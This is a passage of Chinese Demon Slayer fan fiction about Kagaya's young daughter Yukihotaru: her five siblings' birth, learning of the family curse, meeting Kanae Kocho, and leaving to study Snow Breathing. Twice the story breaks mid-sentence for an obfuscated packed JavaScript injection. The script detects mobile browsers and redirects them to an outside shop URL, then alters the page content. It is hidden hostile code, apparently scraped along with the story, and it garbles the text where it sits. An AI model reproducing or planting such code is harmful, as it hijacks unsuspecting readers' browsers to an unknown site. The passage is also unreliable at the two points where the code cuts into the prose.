“真的。”天音看着她,目光温柔又认真,“他们是产屋敷家的孩子。生在这个家,就应该知道这些。” 雪萤眨了眨眼睛。 “那……那我该怎么说?” 天音想了想。 “就说,”她慢慢说,“这个世界上,有一些可怕的东西。它们吃人,伤害人。可我们不怕它们。因为我们有爹爹,有鬼杀队,有那么多勇敢的人在和它们战斗。” “等弟弟妹妹们长大了,他们也会成为勇敢的人。和你一样。” 雪萤听着,眼睛慢慢亮起来。 “和我一样?” “对。”天音笑了,“你是姐姐,你要教他们,保护他们。” 雪萤用力点了点头,她要变强,这样才能更好地保护弟弟妹妹。 她转回头,对着肚子,郑重其事地说: “弟弟妹妹们,姐姐要告诉你们一件事。” “这个世界上,有一种可怕的东西。它们会吃人,会伤害人。但是你们不用怕。” “因为有爹爹。有鬼杀队。有好多好多勇敢的人。” “还有姐姐。” 她顿了顿,声音更认真了: “姐姐会保护你们的。” —— 生产那天,整个宅子都安静下来。 雪萤坐在门外的廊下,攥着衣角,眼睛一眨不眨地盯着那扇门。 耀哉站在她身边,脸上没什么表情,可雪萤看见他的手指一直在动。一会儿攥紧,一会儿松开,一会儿又攥紧。 “爹爹,”她小声问,“你紧张吗?” 耀哉低头看了她一眼。 “有一点。” 雪萤点点头:“我也是。” 她把小手伸过去,握住耀哉的手指。 “我们一起等。” 耀哉愣了一下,然后轻轻握紧了她的手。 —— 屋里不时传来天音的呻吟声,一声一声,揪着两个人的心。 雪萤每听见一声,身子就抖一下。 她不知道生孩子这么疼。 娘亲……娘亲一定很辛苦。 她攥着耀哉的手,攥得紧紧的。 耀哉没有说话。只是把她轻轻揽在怀里。 —— 不知过了多久。 屋里忽然传来一声婴孩的啼哭。 雪萤猛地抬起头。 然后是第二声。第三声。第四声。第五声。 五个声音,一个接一个,像五朵花同时开放。 门被拉开,大夫探出头来,满脸是汗,可笑得合不拢嘴: “恭喜主公,恭喜小姐。母子平安。一个男孩,四个女孩。” 雪萤一下子跳起来。 “我可以进去看吗?” 大夫笑着点点头。 雪萤回头看了耀哉一眼。 耀哉的嘴角弯起来,眼眶有些红。 “去吧。”他说。 —— 雪萤冲进屋里,又猛地刹住脚。 天音躺在榻上,脸色苍白,额角的头发湿透了贴在脸上。可她脸上带着笑,眼睛望着身边排成一排的五个小襁褓。 “娘亲!”雪萤跑过去,扑到榻边,“娘亲你疼不疼?” 天音伸出手,摸摸她的脸。 “不疼了。”她说,“看见你们,就不疼了。” 雪萤眨眨眼睛,然后迫不及待地转过头,看向那五个小襁褓。 她的眼睛一下子瞪大了。 “哇……” 五个小婴儿,并排躺在那里。 最左边的那个,头发是深蓝色的,和她一样。小小的脸,眼睛闭着,嘴巴微微张着,睡得很香。小拳头攥着,露在襁褓外面,五个手指头小小的,像五粒小豆子。 “这是弟弟。”天音说,“辉利哉。” 雪萤看着那个小小的弟弟,心里忽然软了一下。 “辉利哉……”她轻轻喊了一声。 弟弟当然没有回应。可他的小手指动了动。 雪萤捂住嘴,差点叫出声来。 她再看旁边四个。 天音笑着说:“这是你的四个妹妹。雏衣、日香、彼方、杭奈。” 雪萤的眼睛又瞪大了。 那四个妹妹,头发全是白色的,和娘亲一模一样。软软的,茸茸的,像四朵小云。小脸蛋粉扑扑的,嫩得好像一戳就会出水。睫毛长长的,盖在眼睑上,又弯又翘。 “她们好可爱……”雪萤喃喃说。 她伸出手,想摸一摸,又不敢。 “可以摸吗?”她问天音。 “轻轻的就可以。” 雪萤小心翼翼地伸出手,用一根手指头,轻轻碰了碰第一个妹妹的脸。 好软。 软得像一团棉花。 她又碰了碰第二个,第三个,第四个。 每一个都那么软,那么小,那么可爱。 她忍不住笑了。 “妹妹们好可爱。”她说,“弟弟也可爱。” 她转头看天音,那双漂亮的眼睛亮亮的,甜甜地说: “娘亲,我哪个都喜欢!都喜欢!” 天音看着她那副高兴得不知道怎么办才好的样子,忍不住笑了出来。 虽然很累,可那笑容,比什么都甜。 —— 这时,门被轻轻拉开。 耀哉走进来。 他走到天音身边,低下头,看着那一排五个小婴儿,又看着天音苍白的脸。 他的眼眶还是红的。 “辛苦你了。”他说,声音轻轻的,像怕惊着谁。 天音抬头看着他。 那一瞬间,两个人谁都没有说话。 可有什么东西,在他们之间流淌。 是这些年一起走过的风雨。是他发病时她守在身边的身影。是她生产时他在门外攥紧的手指。是此刻,他们一起看着这五个小小的生命。 那是爱。 是比任何语言都深的爱。 雪萤站在一旁,看着爹爹和娘亲的眼神。 她忽然觉得,心里有什么地方,被填满了。 —— 她悄悄想: 以后,我也要找一个像爹爹这样温柔的男孩子,也要生好多好多可爱的小宝贝。也要像爹爹和娘亲这样,一直这样看着对方。 —— 接下来的日子,雪萤忙坏了。 五个弟弟妹妹,每天要喂奶,要换尿布,要哄睡觉。天音一个人忙不过来,雪萤就主动帮忙。 她学会了一手抱着妹妹,一手拍弟弟。学会了分辨哪个哭了是因为饿,哪个哭了是因为尿布湿了。学会了用小小的手,轻轻拍着他们,哼着娘亲教她的歌。 “雪萤真是帮了大忙了。”天音说。 雪萤抬起头,小脸认真的: “我是姐姐呀。” 天音看着她。这孩子,才八岁。可她已经在学着做一个姐姐了。 —— 有时候天音怕她累着,让她去休息。 “雪萤,你去玩吧,娘亲来。” 雪萤摇摇头。 “我不累。”她说,“我要帮娘亲。”她低头看着怀里那个白色头发的妹妹,轻轻晃着。 “妹妹们这么小,要人照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444148|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾的。我是姐姐,应该的。” 天音看着她,心里又酸又暖。这孩子,真的长大了。 —— 可雪萤心里,一直有一个角落,装着别的东西。 每天晚上,等弟弟妹妹们都睡着了,她躺在自己的榻上,望着天花板,就会想起那件事。 藤袭山。 浓得化不开的雾。那张烂掉的、绿眼睛的脸。那黏腻的声音说“好久没吃过这么小的孩子了”。 还有——她说出那句话之后,那个怪物灰飞烟灭的样子。 像雪花一样,飘散了。 —— 她杀过一只鬼。 用那种爹爹不让她用的能力。 三年了,她一直没有忘记。 她记得那种感觉。害怕到极点的时候,有什么东西从身体里冲出来。不是刀,不是呼吸法,只是……话。 只是她说的那些话。 鬼就消失了。 —— 可她不明白。 既然她有这种能力,既然这种能力可以消灭鬼—— 为什么爹爹不让她用? —— 她问过自己很多遍。 每次都没有答案。 —— 有一次,她无意中听见了爹爹和别人的谈话。 那是一个深夜,她睡不着,爬起来想去厨房倒水。路过书房的时候,听见里面传来爹爹的声音。 “无惨。” 那两个字,从爹爹嘴里说出来,带着一种她从未听过的沉重。 她停下来,躲在门边偷听。 “产屋敷家千年的诅咒,都是因为他。”另一个声音说,她听出来那是悲鸣屿行冥,“主公,我们这一代,是不是可以结束这一切!” 雪萤捂住嘴,不让自己发出声音。 无惨。 诅咒。 千年。 她悄悄回到房间,躺在榻上,想了很久。 原来那个让爹爹皱眉的、让家族背负着诅咒的,是一个叫“无惨”的鬼。 原来那些吃人的怪物,都是从他那里来的。 原来爹爹和鬼杀队的人,千年来一直在和这些鬼战斗。 —— 可是无惨是从哪里来的? 他为什么会变成鬼? 为什么偏偏是产屋敷家,要承受这样的诅咒? —— 每当想到这里,她的胸口就会涌起一种奇怪的感觉。 酸酸的,涩涩的,想哭又哭不出来。 她不知道为什么。 好像有什么东西,在那里等着她。 可她看不见,也摸不着。 —— 雪萤见过悲鸣屿行冥很多次。 那个总是流泪的僧人,每次来都会用那块她送的小手帕擦眼睛。他会蹲下来,用那双看不见的眼睛“看”着她,然后轻轻说:“雪萤小姐,你长大了。” 她也见过宇髄天元。 那个把她从藤袭山抱出来的男人,每次见到她都会露出那种帅气张扬的笑,说:“小公主,又长高了。” 他们都是鬼杀队的人。 都是被大家尊敬的人。 一定是很有能力的人吧? —— 雪萤想,只有依靠那种力量,才能战胜鬼吧? 那是不是……她也可以呢? 她也有那种力量。 虽然爹爹不让她用。 可她有。 —— 每次想到这里,她就会低头看着自己的手。 这双手,抱过弟弟,摸过妹妹的脸,牵过悲鸣屿的手指。 这双手,也能让鬼灰飞烟灭。 —— “我也可以帮大家的忙吧?”她在心里问自己。 尤其是现在,有了弟弟妹妹们。 她更想保护这个家了。 更想让那些鬼,离这个家远远的。 更想……帮爹爹分担一些。 —— 可爹爹不让她用。 每次她想起爹爹那天板着脸说“不许用”的样子,心里就会揪一下。 爹爹一定是为她好。 可她真的很想帮忙。 —— 那天晚上,雪萤照例去看了弟弟妹妹们。 辉利哉睡着了,小手还攥着被角。雏衣和日香挤在一起,像两只小猫咪。彼方和杭奈睡得最沉,小脸粉扑扑的。 她一个一个看过去,一个一个轻轻摸过他们的头。 然后她回到自己房间,坐在窗前,望着月亮。 “我会保护你们的。”她轻声说,像在对弟弟妹妹们说,又像在对月亮说。 “虽然我还小。虽然我还不知道那种力量该不该用。” “可我一定会保护你们的。” “保护爹爹,保护娘亲,保护你们。” “保护这个家。” —— 月亮静静地照着。 那个八岁的孩子,眼睛里有一点点光。 那光里,有爱,有责任,有决心。 也有一个小小的、藏得很深的疑问—— 她到底,是谁? —— 她不知道答案。 可她知道,她会等。 等那个答案自己来。 9. 抉择 雪萤站在书房门口,深吸一口气。 她已经在这里站了很久了。 从晚饭后到现在,月亮都升起来了。她一直在想,该不该敲门,该怎么说,该不该问。 可她真的想知道。 三年了。 那个问题在她心里藏了三年,像一颗种子,慢慢发芽,慢慢长大,长到她再也藏不住。 她抬起手,轻轻敲了敲门。 “进来。” 是爹爹的声音,还是那么好听。 雪萤推开门,走进去。 —— 耀哉正坐在案前,手里握着笔,面前摊着文书。听见脚步声,他抬起头。 然后他愣住了。 门口站着的,是他的女儿。 八岁的雪萤,穿着淡蓝色的小袖,深蓝色的长发披散在肩上,有几缕被夜风吹乱了,翘起来。她的脸还带着一点婴儿肥,可眉眼之间,已经有了少女的影子。那双眼睛——和他一样的蓝紫色——正望着他,里面有犹豫,有紧张,还有一种他从未见过的坚定。 耀哉忽然意识到,这孩子,长大了。 “雪萤?”他放下笔,“这么晚了,怎么还不睡?” 雪萤走过来,在他面前站定。 她没有像往常那样爬上他的膝头,也没有撒娇。她就那样站着,抬头看着他。 “爹爹,”她说,“我想问你一件事。” 耀哉看着她。 “什么事?” 雪萤抿了抿嘴唇,深吸一口气: “为什么爹爹不让我用那种能力?” —— 耀哉沉默了。 他看着面前这个八岁的孩子,看着她那双认真的眼睛。 她想了很久吧。这个问题,一定在她心里藏了很久。 自从弟弟妹妹出生后,这孩子就变了。她不再只是那个追着蝴蝶跑的小丫头,不再只是那个会躲在门后偷看他的小淘气。她开始帮忙照顾五个婴儿,开始学着当一个姐姐,开始在深夜里一个人坐着想事情。 她在准备。 准备保护那个家,保护那些人。 —— 耀哉忽然想起自己之前的想法。 他曾经以为,可以把所有的事都扛在自己肩上。他曾经以为,只要他不让雪萤用那种能力,她就能平平安安地长大。 可他忘了。 他是产屋敷家的当主。 他身上流着产屋敷的血。 而雪萤,是他的女儿。 如果鬼不能在他这一代终结,终须有人来接替他。终须有人来承担这份责任。 那个人,可能就是眼前这个八岁的孩子。 —— “雪萤。” 他开口,声音很轻。 雪萤看着他。 “你已经做好准备了吗?” 雪萤愣了一下。 可她很快就明白了爹爹在问什么。 她用力点了点头。 “是的,父亲大人。” 她没有叫“爹爹”。她叫的是“父亲大人”。 那是第一次。 耀哉的心,轻轻颤了一下。 “我想保护大家。”雪萤说,声音还带着一点稚嫩,可那里面有一种不容动摇的东西,“保护爹爹,保护娘亲,保护弟弟妹妹们。我想成为大家的依靠。” 她顿了顿,继续说: “这三年,我一直害怕。害怕山里的那些鬼。每次闭上眼睛,就会想起那张脸,想起那个声音。” 她的声音有一点抖。 可她没有停。 “可是我想,越是害怕的东西,就越要面对它。如果我一直躲着,我永远都会怕。” “就像娘亲那样。” 她抬起头,眼睛亮亮的。 “娘亲每天都在冷水里站着,为爹爹祈福,为我们祈福。她一定也冷,一定也怕。可她还是每天都去。” “因为她是娘亲。因为她是这个家的人。” “我也是这个家的人。” 她看着耀哉,一字一句: “我也想承担起责任。” —— 耀哉看着她,很久没有说话。 他的眼眶有些热。 这孩子,才八岁。 可她已经懂得了这么多。 —— 他伸出手,轻轻把她拉过来,让她坐在自己身边。 “雪萤,”他说,“你问爹爹,为什么不让你用那种能力。” 雪萤点点头。 耀哉沉默了一会儿,然后开口: “你知道千年前,产屋敷家发生了什么吗?” 雪萤摇摇头。 “千年前,产屋敷家诞生了一个鬼。”耀哉的声音很轻,可那轻里,有很重的东西,“他叫鬼舞辻无惨。他是所有鬼的始祖。从那以后,产屋敷家就背负了诅咒。” 他顿了顿,声音更轻了: “每一代当主,都活不过三十岁。” —— 雪萤愣住了。 她抬起头,看着耀哉。 活不过三十岁。 爹爹今年……今年多少岁来着? 她忽然不敢算了。 “爹爹……”她的声音开始抖,“爹爹今年……多大了?” 耀哉看着她,没有说话。 可那沉默,就是答案。 雪萤的眼眶一下子红了。 “爹爹……”她又喊了一声,声音已经带了哭腔,“爹爹不会的……爹爹不会的……” 耀哉伸出手,想摸摸她的头。 可雪萤扑进他怀里,紧紧搂住他的腰。 “爹爹!”她喊,把脸埋在他怀里,“爹爹!爹爹!爹爹!” 一声一声,喊得人心都碎了。 耀哉抱着她,轻轻拍着她的背。 可他的眼眶,也红了。 —— 雪萤哭了很久。 哭到嗓子哑了,哭到眼泪流干,哭到整个人都在发抖。 然后她从他怀里抬起头,看向他的脸。 烛火映在耀哉脸上,明明暗暗的。 他还年轻。才二十多岁。 可他的脸上,已经眼眶旁交织出紫红色的纹路。那些纹路像裂开的伤口,像干涸的河流,像命运的烙印,刻在他脸上,刻在她心上。 他的眼睛——那双和她一样的蓝紫色的眼睛——还是那么温柔,那么好看。 可眼眶下面,有深深的青黑。是累的。是病着的。是熬出来的。 雪萤看着他,看着那张脸,眼泪又涌了出来。 “爹爹……”她伸出手,轻轻摸着他脸上的纹路,“疼吗?” 耀哉握住她的小手。 “不疼。”他说,声音还是那么温柔,“真的不疼。” 雪萤不信。 可她不知道该说什么。 她只是又扑进他怀里,把他抱得更紧。 —— “爹爹不许走。”她把脸埋在他怀里,闷闷地说。 耀哉没有说话。 “不许走。”她又说,“雪萤还没长大呢。雪萤还没帮上忙呢。雪萤还没……还没……” 她说不下去了。 耀哉轻轻拍着她的背。 “好。”他说,“爹爹不走。” 雪萤抬起头,泪眼朦胧地看着他。 她的声音颤抖着:“真的?” 耀哉看着她,轻轻笑了。那笑容,和往常一样温柔。可那温柔里,有一种她看不懂的东西。 “真的。”他说,“爹爹等你长大。” —— 雪萤看着他,忽然觉得自己好傻。 她怎么会不知道呢? 爹爹每天咳嗽,爹爹脸上的纹路越来越多,爹爹总是很累很累。 她都知道的。 可她一直不敢想。 —— “爹爹,”她小声说,“雪萤会努力的。努力学本事,努力变强,努力保护这个家。爹爹要等着雪萤。” 耀哉抱着她,轻轻点了点头。 “好。”他说,“爹爹等着。” 他顿了顿,看到她缓和了情绪,才继续说: “雪萤,产屋敷家的人,有时候会有一些特殊的能力。爹爹有很强的感知力,能感觉到很多东西。而你——你的言灵能力,也是一种。” 雪萤抬起头,看着他。 “可是,产屋敷家的能力,往往和诅咒并存。”耀哉的声音沉下来,“越是强大的能力,付出的代价就越大。爹爹不知道你的能力会让你付出什么。所以爹爹不让你用。” 雪萤低下头,想了很久。 然后她忽然抬起头,眼睛亮晶晶的。< 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自从弟弟妹妹出生后,他就发现她变了。她开始用那种崇拜的眼神看着悲鸣屿,看着宇髄,看着那些来家里的柱们。 她想要成为那样的人。 想要成为能保护别人的人。 想要成为……他的依靠。 —— “雪萤。”他开口。 “嗯?” “你知道什么是雪之呼吸吗?” 雪萤摇摇头。 耀哉轻轻笑了。 “那是产屋敷家世代守护的一种呼吸法。” 他顿了顿,目光望向窗外,望向那片看不见的远方。 “据说是很久以前,有一位隐居在雪山深处的剑士,目睹了雪崩埋没整座村庄的景象。他发现,雪看似柔软,可积到足够多的时候,可以摧毁一切。” “他花了三十年,创造出一种呼吸法——像雪一样,平时温柔无声,可一旦爆发,就能埋葬一切污秽。” “这就是雪之呼吸。” 耀哉转过头,看着雪萤。 雪萤愣住了。 “那种呼吸法,和你很配。” “和我?” “你有言灵之力。你有净化的能力。”耀哉说,“雪之呼吸,就是以净化之力为核心的剑术。它不像水之呼吸那样柔和,也不像炎之呼吸那样刚烈。它像雪——落在手心里会化,可落在山上,可以埋掉一座城。” 雪萤听着,眼睛慢慢亮起来。 “雪之呼吸的传人,在雪山深处等着。”耀哉说,“她叫冰室雪乃,是最后一位守护者。如果你真的准备好了,就去那里找她。” —— 雪萤看着他,眼眶又红了。 可这一次,不是难过的眼泪。 是决心的眼泪。 “爹爹,我会努力的。”她说,“我会学成雪之呼吸,回来保护大家。” 耀哉伸出手,轻轻摸了摸她的头。 “去吧。”他说,“等学成了,回来保护这个家。” —— 雪萤点点头,从他怀里站起来。 她走到门口,又停下脚步,回头看他。 烛光里,耀哉坐在案前,脸上的纹路深深浅浅,可那双眼睛,还是那么温柔。 “爹爹,”她说,“你要等我回来。” 耀哉轻轻笑了。 “好。”他说,“爹爹等你。” —— 雪萤拉开门,走了出去。 月光落在她身上,把她小小的影子投在地上。 她抬起头,望着那轮明月。 月亮很亮。 和那天在藤袭山看见的月亮,一样亮。 可她不再害怕了。 因为她知道,她要走的路,就在那月亮下面。 —— 书房里,耀哉一个人坐着。 他看着那扇关上的门,看了很久。 然后他低下头,轻轻笑了。 那笑容里,有欣慰,有担忧,也有一点点——藏得很深的骄傲。 “傻孩子。”他轻声说。 10. 蝴蝶 去雪山的前几天,雪萤每天都在弟弟妹妹们身边待着。 她抱着辉利哉,轻轻晃着。小家伙刚睡醒,眼睛半睁半闭,深蓝色的眼珠像两颗小小的宝石,懵懵地望着她。 “辉利哉,”她小声说,“姐姐要走了。” 辉利哉当然听不懂。他只是打了个小小的哈欠,又闭上眼睛。 雪萤又去看四个妹妹。 雏衣和日香挤在一起睡,两团小小的白头发挨着,像两朵挨在一起的云。彼方醒着,小手攥着被角,眼睛望着她。杭奈最小,睡在最里面,小脸粉扑扑的。 她一个一个看过去,一个一个轻轻摸过他们的头。 好可惜。 这五个小家伙,估计连她的模样都记不住吧。 等她回来的时候,他们都会长大一些了。会走路,会说话,会叫“姐姐”了。 可她不在。 她好舍不得。 —— 那天下午,家里来了一位客人。 雪萤正在院子里发呆,忽然听见门口传来一个轻轻的声音: “请问,这里是产屋敷家吗?” 她抬起头,循声望去。 然后她愣住了。 门口站着一个少女。 她看上去十五六岁的样子,站在午后的阳光里,整个人像是从画里走出来的人。 一头紫色的长发柔顺地垂在肩后,发尾微微卷起,被风轻轻吹动着。那紫色不是浓烈的紫,而是淡淡的、盈盈的紫,像是傍晚的霞光融进了发丝里。刘海下面,是一双温柔的眉眼——睫毛很长,微微向上翘着,像两片轻轻颤动的蝶翼。那双眼睛是盈盈的紫色,含着笑意,像是春日的湖水,又像是藏在花丛深处的紫罗兰。 她的皮肤白皙,透着一层淡淡的粉色。嘴唇薄薄的,嘴角微微上扬,带着一种与生俱来的温柔。 最引人注目的是她身上披着的那件羽织。 纯白色的底子上,绣着大片大片的蝴蝶花纹。粉的、紫的、白的,各种颜色的蝴蝶在布料上飞舞,有的展翅,有的停落,有的两两相随。风吹过的时候,那些蝴蝶像是活过来一样,轻轻颤动着翅膀。 她就那样站在那里,阳光落在她身上,落在那些蝴蝶上,给她整个人镀上一层柔和的光。 像一朵刚刚盛开的紫藤花。 又像一只刚刚停落的蝴蝶。 —— 雪萤呆呆地看着她,半天说不出话来。 那个少女看见她,也愣了一下。 然后她笑了。 那笑容,比阳光还温柔。 “你好,”她开口,声音也温柔得像春风,“我叫蝴蝶香奈惠。我是来拜访主公大人的。” —— 香奈惠被领着往里走的时候,目光一直落在那个小小的身影上。 走在她前面的这个孩子,就是主公大人的长女吗? 她看起来只有七八岁的样子。深蓝色的长发披散在肩后,发尾微微卷翘,被风吹得轻轻扬起。那双眼睛是蓝紫色的,清澈得像山间的泉水,又像藏着星星的夜空。当她抬头看人的时候,那双眼睛里会映出对方的样子,让人忍不住想要多看几眼。 她的皮肤像雪一样白,脸颊上透着一点淡淡的粉色。鼻尖小小的,嘴唇薄薄的,微微抿着,带着一点孩子特有的认真。 她穿着一身淡蓝色的小袖,腰间系着白色的细带。整个人小小的,软软的,像一团还没有完全化开的雪。 可她走路的姿势很稳。小小的脊背挺得直直的,不像有些孩子那样东倒西歪。 香奈惠忽然想起自己小时候。 那时候,她也这样走过。带着妹妹,一步一步,走在陌生的路上。 这个孩子,身上有一种东西。 一种让人想要靠近、想要守护的东西。 —— 香奈惠是来拜访耀哉的。 雪萤不知道他们说了什么。只知道香奈惠出来的时候,眼眶有点红,可脸上带着笑。 “雪萤小姐,”她蹲下来,和她平视,“我可以再待一会儿吗?” 雪萤点点头。 香奈惠就在廊下坐下了。 雪萤坐在她旁边。 两个人都没说话。 阳光暖暖的,照着院子里的梅树。香奈惠的蝴蝶羽织铺开在地上,那些蝴蝶像是在花丛中休息。 —— 过了一会儿,香奈惠忽然开口: “那个孩子,是雪萤小姐的弟弟吗?” 她看向屋里,辉利哉正被天音抱着。 雪萤点点头。 “他好小。”香奈惠轻声说,“好可爱。” “他叫辉利哉。”雪萤说,“还有四个妹妹,在屋里睡觉。” 香奈惠的眼睛亮了一下。 “四个妹妹?” “嗯。”雪萤说,“白色的头发,和娘亲一样。可好看了。” 香奈惠笑了。 那笑容里,有一种温柔的光。 “雪萤小姐一定是个好姐姐。” 雪萤愣了一下。 然后她低下头,有点不好意思。 “我……我还在学。”她小声说,“而且,我快要走了。” “走?”香奈惠看着她,“去哪里?” 雪萤抬起头,望着远处的天空。 “去雪山。”她说,“去学本事。学雪之呼吸。” 香奈惠看着她。 阳光落在她脸上,把她的轮廓镀上一层淡淡的金色。那双蓝紫色的眼睛望着远方,里面有光。 那是她熟悉的光。 是想要变强的光。 是想要保护什么人的光。 —— “雪萤小姐,”香奈惠轻声问,“你为什么要去学本事呢?” 雪萤沉默了一会儿。 然后她转过头,看着香奈惠。 那双眼睛对上香奈惠的眼睛。 香奈惠忽然觉得,这孩子的眼睛真好看。蓝紫色的,像傍晚的天空,又像深山里的一汪清泉。那里面有一种干净得让人心疼的东西。 “因为我想保护大家。”雪萤说,“保护爹爹,保护娘亲,保护弟弟妹妹们。” 她顿了顿,声音小了一点: “还因为……我怕鬼。” 香奈惠的心轻轻颤了一下。 “我怕它们。”雪萤继续说,声音有点抖,“三年前,我差点被它们吃掉。那种害怕,我一直记得。” 她低下头,看着自己的手。 那双小手白白嫩嫩的,手指细细的,还没有握过刀。 “可是我想,越是害怕的东西,就越要面对它。如果我一直躲着,我永远都会怕。” 香奈惠看着她,眼眶忽然有些热。 这个孩子,和当年的自己,一模一样。 —— “雪萤小姐,”她轻声说,“你知道吗?我也怕鬼。” 雪萤抬起头,看着她。 “我是花柱,和鬼战斗的人。可我还是怕它们。”香奈惠说,“每次看见它们,我都会想起我父母被杀害的那天。” 雪萤愣住了。 “姐姐的……父母?” 香奈惠点点头。 “被鬼杀了。”她说,“那天晚上,我和妹妹差点也被杀了。是悲鸣屿先生救了我们。” 雪萤看着她,不知道该说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444150|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香奈惠轻轻笑了。 那笑容里,有悲伤,可也有一种说不出的温柔。 “所以我也要变强。”她说,“为了保护我唯一的妹妹。” 她看着雪萤,目光柔柔的。 “雪萤小姐,你和我一样。我们都有想要保护的人。” “有想要保护的人,就会变得很厉害很厉害。” —— 雪萤看着她,眼睛慢慢亮起来。 那双蓝紫色的眼睛,像被点亮的星星。 “姐姐也是吗?” 香奈惠点点头。 “我也是。” 她伸出手,轻轻摸了摸雪萤的头。 那动作,温柔得像蝴蝶落在花瓣上。 掌心里,那孩子的头发软软的,带着一点阳光的温度。 “等你学成回来,”她说,“我们再见面。” 雪萤用力点了点头。 “好。”她说,“姐姐要等我。” 香奈惠笑了。 那笑容,比任何时候都温柔。 —— 那天傍晚,香奈惠要走了。 雪萤站在门口,看着她的背影。 夕阳的余晖落在她身上,把那件蝴蝶羽织染成了金色。紫色的长发在晚风里轻轻飘动,像是融进了天边的霞光。 她走得很慢,像是舍不得。 走到路的拐角处,她停下脚步,回过头来。 远远地,她朝雪萤挥了挥手。 雪萤也挥了挥手。 然后那个蝴蝶一样的身影,消失在路的尽头。 —— 雪萤站在那里,看了很久。 晚风吹过来,吹起她深蓝色的长发。 她忽然想起香奈惠看她的眼神。 那眼神里,有温柔,有心疼,也有一点点的……骄傲? 她不懂。 可她记住了。 —— 身后传来天音的声音。 “雪萤,回屋吧。天快黑了。” 雪萤点点头,转身往回走。 走到门口,她又回头看了一眼。 那条路空空的,什么都没有。 可她知道,那个蝴蝶姐姐,会在路的尽头等着她。 等她学成归来。 等她变成可以保护别人的样子。 —— 那天夜里,雪萤躺在床上,想着香奈惠的样子。 想着那双盈盈的紫色眼睛,那长长的睫毛,那件绣满蝴蝶的羽织。 想着她说“我等你”的时候,眼里的光。 她忽然觉得,这个世界上,除了爹爹和娘亲,除了弟弟妹妹,还有好多好多人在等着她。 悲鸣屿。宇髄。蝴蝶姐姐。 还有那些她还没见过的人。 她一定要变强。 一定要回来。 —— 窗外的月亮,亮亮的。 她闭上眼睛,睡着了。 梦里,她看见一座雪山。 雪很厚,很白。 山顶上,站着一个穿蝴蝶羽织的人。 那个人回过头来,紫色的眼睛望着她,微微一笑。 ——我等你。 —— 第二天早上,雪萤醒来的时候,枕头边放着一朵小花。 紫色的,小小的,像是从蝴蝶翅膀上落下来的一小片。 她拿起来,看了很久。 然后她笑了。 她知道是谁放的。 那个像蝴蝶一样的姐姐,在走之前,来过她的房间。 给她留下一朵小花。 和一份温柔的祝福。 11. 启程 出发那天清晨,雪意外地停了。 雪萤站在院子里,身上穿着天音连夜赶制的小袄,浅蓝色的布料上绣着细细的雪花纹。深蓝色的长发被仔细地束在脑后,露出光洁的额头和那双明亮的蓝紫色眼睛。 她的小包袱里,装着几件换洗的衣服,一包天音准备的干粮,还有那朵已经干枯的紫色小花。 “小公主,准备好了吗?” 一个张扬的声音从门口传来。 雪萤转过头,看见宇髄天元倚在门框上,双手抱胸,嘴角勾着一个大大的笑容。他今天穿得格外华丽——深紫色的衣袍,腰间系着金色的带子,额头上缠着镶满宝石的头带,整个人在晨光里闪闪发光。 “天元叔叔。”雪萤跑过去,“你真的要送我吗?” 宇髄的笑容僵在脸上。 “叔……叔叔?” 他低下头,盯着面前这个八岁的小丫头,眼睛瞪得溜圆。 “小公主,你叫我什么?” 雪萤眨眨眼睛,不明所以:“天元叔叔呀?” 宇髄石化了。 他缓缓抬起手,摸着自己的脸——这张英俊的脸,没有一丝皱纹吧?皮肤光滑得能反光,五官立体得像雕刻出来的,怎么也和“叔叔”沾不上边吧? 他又低头看看自己——这身强壮的肌肉,这挺拔的身材,走出去不知道多少姑娘会回头多看两眼。这样的男人,怎么能叫叔叔? “小公主,”他咬牙切齿地挤出笑容,“你是什么眼光啊?” 雪萤歪着头,一脸茫然。 宇髄深吸一口气,蹲下来,和她平视。 “听好了,叫哥哥。”他一字一顿地说,“哥哥。我今年还不到二十岁,知道吗?不到二十!” 他伸出手,指着自己的脸。 “这张脸,没有皱纹吧?这皮肤,光滑吧?这肌肉,结实吧?哪里像叔叔了?” 雪萤看着他,看着他那一脸认真的表情,忽然忍不住笑了。 “哥哥。”她试着叫了一声。 宇髄的表情瞬间阴转晴。 “对!就是这个!”他满意地点点头,“记住了,以后叫哥哥。天元哥哥。” 雪萤笑着点头:“好,天元哥哥。” 宇髄站起来,拍了拍她的头。 “这才对嘛。” —— 正厅里,耀哉和天音已经在等着了。 天音的眼眶红红的,却努力保持着微笑。耀哉坐在案前,脸上的纹路在晨光中格外清晰,可那双眼睛还是那么温柔。 雪萤走进去,在他们面前跪下。 “爹爹,娘亲,雪萤要走了。” 她抬起头,看着耀哉的脸。 那张脸上,纹路又深了一些。可那双眼睛望着她的时候,还是和小时候一样温柔。 耀哉轻轻笑了。 “起来。”他说,“到爹爹这儿来。” 雪萤站起来,走过去,扑进他怀里。 耀哉抱着她,轻轻拍着她的背。 “雪萤,”他说,“路上要小心。到了雪山,要听师父的话。练功累了,就歇一歇。不要逞强。” 雪萤把脸埋在他怀里,用力点头。 “爹爹放心。” 耀哉低下头,在她额头上轻轻印了一下。 “爹爹等你回来。” —— 雪萤又转向天音。 天音的眼眶终于包不住眼泪了。她伸出手,把雪萤拉进怀里,抱得紧紧的。 “娘亲的雪萤……”她的声音有些哑,“要好好的。要平平安安的。” 雪萤抱紧她。 